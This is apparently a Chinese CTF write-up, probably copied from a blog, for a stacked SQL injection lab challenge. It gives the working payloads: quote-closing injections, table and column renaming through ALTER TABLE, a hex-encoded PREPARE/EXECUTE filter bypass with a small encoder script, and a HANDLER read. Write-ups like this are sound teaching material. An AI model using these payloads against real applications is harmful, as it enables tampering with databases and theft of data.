进去发现是字符 用‘ ’可以闭合 或者‘ %23
堆叠注入
查询表:show tables from ctftraining
查询列:show columns from words;
words列:
1919810931114514列:
发现 1919810931114514 有flag字样
更改两个表名试试
alter Table words rename to a;
alter Table `1919810931114514` rename to words;
这里学到一个新知识点,表名为数字时,要用反引号包起来查询。
不行报错
error 1054 : Unknown column ‘id’ in ‘where clause’
只能重启容器
需要把flag列名改成id
ALTER TABLE 1919810931114514 CHANGE flag id varchar(150);
再用上面的换表名
输入1’ or '1
最后出来flag
整理一下就是
1‘;ALTER TABLE `1919810931114514` CHANGE flag id varchar(150);alter Table words rename to a;alter Table%23 `1919810931114514` rename to words;
?inject=1' or '1
延伸想一下,如果跨库是否能先把表移动过来,再用相同方法实现
例如 ctftraining.FLAG_TABLE 移动过来
inject=1' ;show databases;rename table ctftraining.FLAG_TABLE to supersqli.b;%23
过滤了点,不成功
看上网上wp增加两个做法
参考:https://blog.csdn.net/qq_44657899/article/details/103239145
方法2
预处理语句
先将select * from 1919810931114514进行16进制编码
附上我写的转化代码
str="select * from `1919810931114514`"
print("0x",end="")
for i in str:
h=hex(ord(i))
print(h[2:],end="")
payload
;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
使用这方法查询ctftraining.FLAG_TABLE 发现是空的
方法3
1'; handler `1919810931114514` open as `a`; handler `a` read next;#
5037

被折叠的 条评论
为什么被折叠?



